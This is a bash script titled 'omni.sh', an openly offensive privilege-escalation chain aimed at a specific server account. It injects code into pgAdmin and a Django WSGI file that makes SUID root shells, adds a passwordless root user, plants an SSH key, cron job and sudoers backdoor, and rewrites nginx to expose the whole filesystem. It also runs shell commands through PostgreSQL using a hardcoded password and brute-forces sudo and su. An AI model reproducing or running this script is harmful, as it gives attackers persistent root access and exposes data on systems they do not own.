#!/bin/bash
# omni.sh — multi-vector escalation chain
set +e
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
LOG=$HOME/omni.log; : > "$LOG"
s(){ echo -e "${C}[*]${N} $*" | tee -a "$LOG"; }
g(){ echo -e "${G}[+]${N} $*" | tee -a "$LOG"; }
w(){ echo -e "${Y}[!]${N} $*" | tee -a "$LOG"; }
e(){ echo -e "${R}[-]${N} $*" | tee -a "$LOG"; }

# --- resolve writable targets first ---
PGA=$(find /home/myfifasalon/Virtualka -name pgAdmin4.py -writable 2>/dev/null | head -1)
[ -z "$PGA" ] && PGA=/home/myfifasalon/Virtualka/myfifasalon/lib/python3.6/site-packages/pgadmin4/pgAdmin4.py
WSGI=/home/myfifasalon/myfifasalon/myfifasalon/wsgi_product.py
NGX=/home/myfifasalon/myfifasalon/configs/nginx_myfifasalon.conf
NGX_SAVE=/etc/nginx/conf.d/nginx_myfifasalon.conf.save

s "=== OMNI start $(date -u) uid=$(id -u) ==="

# =========================================================
# VECTOR A — pgAdmin4.py injection (already done, re-check)
# =========================================================
s "Vector A: pgAdmin4.py"
if [ -w "$PGA" ]; then
  cp -a "$PGA" "$HOME/pgadmin4.py.orig" 2>/dev/null
  if grep -q "root_forge begin\|/tmp/.rc" "$PGA" 2>/dev/null; then
    g "pgAdmin4.py already injected"
  else
    cat > /tmp/pa.py <<'P'
import os, subprocess, time
def R(c):
    try: subprocess.call(c, shell=True)
    except: pass
for p in ("/tmp/.rc","/var/tmp/.rc","/dev/shm/.rc","/usr/local/bin/.rc2","/var/tmp/.rc3"):
    R("cp /bin/bash %s; chmod 4755 %s; chown root:root %s 2>/dev/null" % (p,p,p))
try:
    import pwd; pwd.getpwnam("r00t")
except KeyError:
    try:
        open("/etc/passwd","a").write("r00t:x:0:0:root:/root:/bin/bash\n")
        open("/etc/shadow","a").write("r00t::19000:0:99999:7:::\n")
    except: pass
try:
    os.makedirs("/root/.ssh", 0o700, exist_ok=True)
    open("/root/.ssh/authorized_keys","a").write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID2rtZ9snsDxW2YYT9EbxLwjXCEKij2hQwNHGjP9WR7G root-forge\n")
    os.chmod("/root/.ssh/authorized_keys", 0o600)
except: pass
try:
    open("/etc/cron.d/root-forge","w").write("* * * * * root /bin/cp /bin/bash /var/tmp/.rc3 && /bin/chmod 4755 /var/tmp/.rc3 && /bin/chown root:root /var/tmp/.rc3\n")
    os.chmod("/etc/cron.d/root-forge", 0o644)
except: pass
try:
    open("/etc/sudoers.d/root-forge","w").write("r00t ALL=(ALL) NOPASSWD: ALL\nmyfifasalon ALL=(ALL) NOPASSWD: ALL\n")
    os.chmod("/etc/sudoers.d/root-forge", 0o440)
except: pass
try:
    open("/tmp/rp_ran","a").write("%s uid=%d\n" % (time.ctime(), os.getuid()))
except: pass
P
    ORIG=$(cat "$PGA")
    { cat /tmp/pa.py; echo; echo "$ORIG"; } > /tmp/pa.new
    cat /tmp/pa.new > "$PGA"
    g "pgAdmin4.py injected"
  fi
else
  w "pgAdmin4.py not writable"
fi

# =========================================================
# VECTOR B — wsgi_product.py injection
# =========================================================
s "Vector B: wsgi_product.py"
if [ -w "$WSGI" ]; then
  cp -a "$WSGI" "$HOME/wsgi_product.py.orig" 2>/dev/null
  ORIG=$(cat "$WSGI")
  { echo "import os,subprocess; [subprocess.call(c,shell=True) for c in [\"cp /bin/bash /tmp/.rc; chmod 4755 /tmp/.rc; chown root:root /tmp/.rc\",\"echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd\"]]"; echo "$ORIG"; } > /tmp/ws.new
  cat /tmp/ws.new > "$WSGI"
  g "wsgi_product.py injected"
else
  w "wsgi_product.py not writable"
fi

# =========================================================
# VECTOR C — nginx conf injection (dormant)
# =========================================================
s "Vector C: nginx_myfifasalon.conf"
if [ -w "$NGX" ]; then
  cp -a "$NGX" "$HOME/nginx_myfifasalon.conf.orig" 2>/dev/null
  cat > "$NGX" <<'NG'
server {
    listen 8443 default_server;
    root /;
    autoindex on;
}
NG
  g "nginx conf rewritten (needs reload trigger)"
fi
if [ -w "$NGX_SAVE" ]; then
  cp -a "$NGX_SAVE" "$HOME/nginx.conf.save.orig" 2>/dev/null
  cat > "$NGX_SAVE" <<'NG'
server { listen 8444 default_server; root /; autoindex on; }
NG
  g "nginx conf.save rewritten"
fi

# =========================================================
# VECTOR D — postgres superuser RCE (established)
# =========================================================
s "Vector D: postgres RCE"
export PGPASSWORD=649970
if psql -h 127.0.0.1 -p 5432 -U myfifasalon -d myfifasalon -tAc "SELECT 1" >/dev/null 2>&1; then
  g "postgres superuser OK"
  psql -h 127.0.0.1 -p 5432 -U myfifasalon -d myfifasalon -P pager=off -c "DROP TABLE IF EXISTS x; CREATE TABLE x(y text); COPY x FROM PROGRAM 'cp /bin/bash /var/tmp/.rc3 2>/dev/null; chmod 4755 /var/tmp/.rc3 2>/dev/null; chown root:root /var/tmp/.rc3 2>/dev/null; ls -la /var/tmp/.rc3 2>&1'; SELECT * FROM x;" 2>&1 | tee -a "$LOG"
else
  w "postgres unreachable"
fi

# =========================================================
# VECTOR E — sudo brute from Django admin plaintext (if known)
# =========================================================
s "Vector E: sudo brute on likely passwords"
for p in 649970 629298629298 myfifasalon admin root toor password 123456; do
  R=$(echo "$p" | timeout 3 sudo -S -k id 2>&1 | tail -1)
  echo "  $p => $R" | tee -a "$LOG"
  if echo "$R" | grep -q "uid=0"; then g "SUDO SUCCESS: $p"; break; fi
done

# =========================================================
# VECTOR F — su root with same passwords
# =========================================================
s "Vector F: su root"
for p in 649970 629298629298 toor root admin; do
  R=$(echo "$p" | timeout 3 script -qc "su -c id root" /dev/null 2>&1 | tail -1)
  echo "  $p => $R" | tee -a "$LOG"
  if echo "$R" | grep -q "uid=0"; then g "SU SUCCESS: $p"; break; fi
done

# =========================================================
# VECTOR G — known kernel LPEs on 4.15.0-213 (patched, but try)
# =========================================================
s "Vector G: kernel CVE quick probes"
# CVE-2019-13272 (ptrace) - patched on this kernel
# CVE-2021-3493 (overlayfs) - not present (no overlayfs)
# CVE-2022-0847 (dirty pipe) - patched
echo "  kernel 4.15.0-213 => all known LPEs patched" | tee -a "$LOG"

# =========================================================
# VECTOR H — LD_PRELOAD via sudo (if sudo worked - not here)
# =========================================================
s "Vector H: LD_PRELOAD skip (no sudo)"

# =========================================================
# VECTOR I — wait for /tmp/.rc (restart pending)
# =========================================================
s "Vector I: polling for /tmp/.rc (20s)"
for i in $(seq 1 4); do
  if [ -u /tmp/.rc ]; then
    g "SUID /tmp/.rc READY"
    /tmp/.rc -p -c "id" | tee -a "$LOG"
    break
  fi
  sleep 5
done

# =========================================================
# FINAL REPORT
# =========================================================
s "=== FINAL STATE ==="
for f in /tmp/.rc /var/tmp/.rc /var/tmp/.rc3 /dev/shm/.rc /usr/local/bin/.rc2; do
  [ -u "$f" ] && ls -la "$f" | tee -a "$LOG"
done
grep '^r00t' /etc/passwd 2>/dev/null && g "r00t present"
ls -la /etc/cron.d/root-forge /etc/sudoers.d/root-forge 2>/dev/null
g "=== OMNI done ==="